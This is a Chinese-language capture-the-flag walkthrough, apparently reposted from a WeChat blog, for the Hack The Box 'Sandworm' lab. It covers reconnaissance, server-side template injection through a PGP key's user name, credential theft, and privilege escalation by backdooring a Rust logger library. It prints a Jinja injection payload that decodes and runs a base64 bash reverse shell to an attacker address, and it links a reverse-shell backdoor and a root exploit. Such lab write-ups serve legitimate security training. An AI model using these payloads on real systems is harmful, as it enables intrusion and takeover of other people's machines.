HTB靶场Sandworm通关笔记,超推荐

admin 2023年12月19日00:52:03评论29 views字数 2022阅读6分44秒阅读模式

流程

结合步骤1.信息收集加确定目标。2.发现漏洞。3.漏洞利用getshell。4.提权 5.总结

1.信息收集

对于给定的目标ip:10.10.11.218进行端口扫描    namp -sC -sV 10.10.11.218

HTB靶场Sandworm通关笔记,超推荐

目标ip开放22,以及80以及443,看到其中存在dns解析  https://ssa.htb/添加到/etc/hosts里面

HTB靶场Sandworm通关笔记,超推荐

访问80端口页面,对80端口进行目录爆破,用到的工具  dirsearch -u https://ssa.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

HTB靶场Sandworm通关笔记,超推荐

对扫出来的目录进行访问  pgp页面为给出的一个公钥  guide页面为对pgp算法的解密

HTB靶场Sandworm通关笔记,超推荐
HTB靶场Sandworm通关笔记,超推荐

这里介绍一下pgp加密:一个加密程序,为数据通信提供了加密和验证功能,主要包括公钥,私钥,签名,可以简单理解为,公钥和私钥可以看做都是可以加密、解密的。公钥和秘钥对应,签名保证内容不被篡改。

在上面访问到guide页面的时候发现可以对公钥和签名进行解密,那现在的思路就是自己去生成一个签名和公钥,然后放在guide页面进行解密,看看会有什么变化

利用这两个网站生成公钥和私钥并使用私钥进行签名:https://youritmate.us/pgp/、http://www.2pih.com/pgp.html,在https://youritmate.us/pgp/生成公钥和私钥(需要填写下名字和账户),然后利用私钥在http://www.2pih.com/pgp.html网站对信息进行签名。

HTB靶场Sandworm通关笔记,超推荐

进行生成签名

HTB靶场Sandworm通关笔记,超推荐


2.发现漏洞

然后在guide页面进行输入公钥和签名进行解密

HTB靶场Sandworm通关笔记,超推荐
HTB靶场Sandworm通关笔记,超推荐


3.getshell

发现成功解密,这个时候的思路想到能不能通过改变用户名输入其他命令,能否达到命令执行的效果,这个时候想到SSTI注入漏洞:服务器端模板注入,简单说来就是各种语言用到一些框架模板,服务端接受到用户恶意输入后,未经过任何处理就其作为web应用模板内容的一部分,然后在前端直接进行展示。

我们这里可以把刚才生成公钥时候的用户名改为{{3*3}},然后重新生成进行解密看看

HTB靶场Sandworm通关笔记,超推荐
HTB靶场Sandworm通关笔记,超推荐

发现用户名成功变为9,这时候可以构造一个反弹shell,尝试过多次,最后的shell要进行base64编码后执行

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC80NDQ0IDA+JjE=" | base64 -d | bash').read() }}

HTB靶场Sandworm通关笔记,超推荐

发现成功反弹到shell  信息收集一下,看有没有利用的点 查看到/home目录下还存在其他用户

HTB靶场Sandworm通关笔记,超推荐

当前用户的权限太小,看到存在其他用户,又看到开放了22端口,想到肯定存在什么配置文件可以通过ssh'登入到另外一个账号,在查找cd /home/atlas/.config/httpie/sessions/localhost_5000目录下面存在账号和密码

HTB靶场Sandworm通关笔记,超推荐

通过ssh直接登入到该用户

HTB靶场Sandworm通关笔记,超推荐
HTB靶场Sandworm通关笔记,超推荐


4.提权

开始提权,尝试一下sudo -l看看可用命令,发现不能运行,上传pspy64文件看看当前跑了那些进程,发现两个可疑命令

HTB靶场Sandworm通关笔记,超推荐

发现这个命令在opt目录下的tipnet有关,进入到此目录下面去

HTB靶场Sandworm通关笔记,超推荐

查看源码

HTB靶场Sandworm通关笔记,超推荐
HTB靶场Sandworm通关笔记,超推荐

这两个源码使用的是rust语言 用gpt问问是什么意思,给出的解释为:当运行tipnet时,选择e,也就是pull模式,会执行函数pull_indeces,然后这个函数会调用logger中的log函数.
当前用户刚好有对logger目录写入的权限 所以修改logger的源码 再次拿到用tipnet执行的atlas的用户权限,找一下rust语言怎么写shell

https://github.com/LukeDSchenk/rust-backdoors/blob/master/reverse-shell/src/main.rs将shell反弹语句添加到lib.rs中(删除原有的lib.rs,然后新建lib.rs并写入shell反弹代码),等待定时任务执行进行shell反弹,成功获得atlas权限,并且其具有jailer权限

拿到shell后,直接使用exp成功提到root

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25#file-exploit-py-L221


5.总结

通过本靶场学习到pgp加密,学习到ssti注入,通过自己进行生成的公钥以及签名进行解密然后找出自己可以控制的部分进行getshell,提权先提到其他用户,然后使用脚本进行查看是不是存在定时任务,然后进行反弹shell,最后使用exp成功提到root。

原文始发于微信公众号(菜菜sec):HTB靶场Sandworm通关笔记,超推荐

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日00:52:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场Sandworm通关笔记,超推荐https://cn-sec.com/archives/2314721.html

发表评论

匿名网友 填写信息